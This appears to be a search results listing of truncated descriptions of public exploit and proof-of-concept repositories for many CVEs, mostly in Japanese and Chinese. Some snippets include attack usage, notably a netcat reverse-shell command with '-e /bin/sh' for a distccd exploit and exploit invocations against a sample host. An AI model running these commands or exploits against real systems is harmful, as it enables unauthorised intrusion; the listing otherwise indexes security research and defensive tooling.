543181 matches found
CVE-2021-36260
CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check 安全および安全でない脆弱性/確認チェック: （「安全なチェック」で確認できない場合のみ「安全でないチェック」を使用します） $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot 安全でない脆弱性/確認チェック: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport...
CVE-2024-38063
CVE-2024-38063 — Windows IPv6 Stack Vulnerability Analysis & PoC -red Technical analysis and Proof-of-Concept PoC for CVE-2024-38063 , a critical Remote Code Execution RCE vulnerability in the Windows IPv6 stack tcpip.sys. Discovered by KunLun Lab, this issue is zero-click , meaning it can be...
CVE-2025-55182-analysis
一、脆弱性の概要 ここ数日、Reactの逆シリアル化RCE脆弱性が話題になっています。公式のCVSSは直接10.0点で、当時のLog4jと同レベルです。これを「現代のフロントエンドにおけるLog4j」と称する噂が一時期広がり、多くの企業の開発者にパニックを引き起こし、朝起きてすぐに文献を調べたりパッチを当てたりする事態になりました…。同時に、ネット上では疑問の声も上がっており、テストを行った人の中には「この脆弱性は宣伝されているほどではなく、逆に利用には一定の条件が必要だ」と指摘する人もいました。そこで、私は時間を取ってこの脆弱性を詳しく調査することにしました。 1.1 脆弱性情報...
CVE-2025-61882-Oracle-BI-Publisher-RCE
受影响软件：Oracle BI Publisher 版本 12.2.1.4.0、12.2.1.3.0。 漏洞类型：通过BI Publisher集成组件中的不安全反序列化实现远程代码执行。 描述：BI Publisher集成组件对不受信任的数据进行反序列化时未进行验证，从而允许未经身份验证的攻击者在底层服务器上执行任意代码。...
Burp_CVE-2025-31324
CVE-2025-31324 Burp Suite 拡張機能 概要 このPythonベースのBurp Suite拡張機能は、SAP NetWeaver Visual ComposerのMetadata Uploaderコンポーネントにおける重大な脆弱性 CVE-2025-31324 の存在を検出するために設計されています。この脆弱性は、認可チェックの欠如により、ファイルアップロードを介した認証なしのリモートコード実行を許容します。拡張機能は、/developmentserver/metadatauploader...
CVE-2025-8110-Gogs-Remote-Code-Execution
影響を受けるソフトウェア: Gogs セルフホスト型Gitサービス バージョン0.13.0未満。 脆弱性の種類: Gitフックメカニズムにおけるコマンドインジェクション。 説明: リポジトリへのプッシュアクセス権を持つ攻撃者は、悪意のあるGitフックを作成し、post-receiveフックスクリプトにコマンドを注入することで、Gogsサーバー上でリモートコード実行を引き起こす可能性があります。...
CVE-2025-55182-React2Shell-Exploit
Next.js React2Shell CVE-2025-55182 Expl0it React2Shellの重大な脆弱性（CVE-2025-55182 / CVE-2025-66478）を許可されたローカルテスト環境のみで 実証するための概念実証ツール。 ⚠️ 重要警告：活発な悪用 法的使用のみ : 自分が所有する、または明示的な書面による許可を得たシステムに対してのみ使用してください。 即時パッチ適用必須 : 脆弱な場合は、直ちにアップデートしてください。パッチ適用が唯一の決定的な対策です。 無保証 : このツールは教育目的および許可されたセキュリティ評価目的のみを対象としています。 ...
CVE-2025-55182
CVE-2025-55182 - React2Shell React Server Components / Next.js Pre-Authentication Remote Code Execution...
CVE-2025-61505
CVE-2025-61505 – e107 CMS 2.x における PHP オブジェクトインジェクション 報告日: 2025年9月18日 CVE 割り当て日: 2025年10月9日 公開日: 2026年2月2日 CVE ID: CVE-2025-61505 発見者: Anas Abderrahman Benbarek 概要 e107 CMS バージョン 2.3.3 のインストールスクリプト install.php において、PHP オブジェクトインジェクションの脆弱性 CWE-502: 信頼できないデータのデシリアライゼーション が発見されました。...
CVE-2026-57517
Control Web Panel ≤ 0.9.8.1224 — 盲注 SQL 注入至远程代码执行 端口 2083 → userRes POST → INTO DUMPFILE → 端口 2031 WebShell → cwpsvc 🔴 漏洞概述 CVE-2026-57517 是 Control Web Panel CWP 版本 ≤ 0.9.8.1224 中存在的一个严重的未认证盲注 SQL 注入漏洞。用户面板端点的 userRes POST 参数在被拼接到 SQL 查询之前未经过滤。查询以 权限执行——该权限拥有全局 权限——从而允许攻击者通过 写入任意文件。...
CVE-2020-15778
CVE-2020-15778 简介 本仓库复现了 CVE-2020-15778。 步骤 1. 构建 scp 服务器和客户端的 Docker 镜像 root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. 在容器中启动 scp 服务器。 root@kitploit: docker run -d -P --name scp-server server-cve 通过以下命令获取 scp 服务器的内部 IP 地址：...
CVE-2023-43177
CVE-2023-43177 CrushFTP = 10.5.1 リモートコード実行 このリポジトリは、研究の過程で開発された概念実証（PoC）のRCEエクスプロイトを保持しています。...
CVE-2020-8254
CVE-2020-8254: Pulse Secure VPN Windows Client における Zip Slip Pulse Secure Desktop Client 9.1R9 には、ユーザーが悪意のあるサーバーに接続するように仕向けられた場合にリモートコード実行（RCE）を引き起こす脆弱性が存在します。 ベンダーの開示情報: この脆弱性に関するベンダーの開示情報および修正はこちらで確認できます。 必要条件: この脆弱性の悪用には以下が必要です: ユーザーの操作（「Host...
CVE-2025-31324
PoC - CVE-2025-31324 [email protected] SAP NetWeaver Visual Composer の脆弱性 CVE-2025-31324 に対するテスト用エクスプロイトです。エンドポイント /developmentserver/metadatauploader を介して、認証なしでの任意のファイルアップロード を可能にします。 ⚠️ このコードは教育目的および許可されたテスト専用です。本番環境や許可なくシステムに対して使用しないでください。 説明 この脆弱性により、認証されていないリモートの攻撃者が SAP...
CVE-2018-7600
CVE-2018-7600 的 POC Drupal RCE CVE-2018-7600 别忘了在脚本中填入你的地址！ 描述： Drupal 7.x 和 8.x 的多个子系统中存在一个远程代码执行漏洞。这可能允许攻击者利用多个攻击向量对 Drupal 站点发起攻击，从而导致站点被完全入侵。 解决方案： 升级到最新版本的 Drupal 7 或 8 核心。 如果你正在运行 7.x，请升级到 Drupal 7.58。（如果无法立即更新，你可以尝试应用此补丁来修复漏洞，直到你能够完全更新为止。） 如果你正在运行 8.5.x，请升级到 Drupal...
CVE-2018-15133-PoC
CVE-2018-15133-PoC このPythonスクリプトは、安全でないデシリアライゼーションを利用した脆弱なLaravelアプリケーション向けのリモートコード実行（RCE）エクスプロイトを実装しています。これはCVE-2018-15133の脆弱性に基づいています。...
distccd_rce_CVE-2004-2687
此脚本的目标不是使用 Metasploit，而是手动执行。 用法： root@kitploit: nc -lvnp 4466 运行漏洞利用： root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...
CVE-2025-55182-Scanner
CVE‑2025‑55182 – Next.js RSC デシリアライゼーション RCE スキャナ このツールは、対象が CVE‑2025‑55182 に対して脆弱かどうかをチェックします。これは、Next.js 内の RSC（React Server Components）モデルペイロードの安全でない処理によって引き起こされるリモートコード実行バグです。 この脆弱性は、プロトタイプ汚染 → デシリアライゼーションの悪用 → サーバーサイドJavaScript実行 の連鎖を利用します。 免責事項:...
React2Shell-CVE-2025-55182-An-lise-T-cnica
React2Shell CVE-2025-55182 📖 概要 このリポジトリは、TryHackMeのルームで学習した セキュリティの概念 を文書化しています。これは CVE-2025-55182 に関するもので、影響を受ける重要な脆弱性です： React Server Components RSC Next.js および RSC ベースのフレームワーク パッケージ: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack この脆弱性により以下が可能になります：...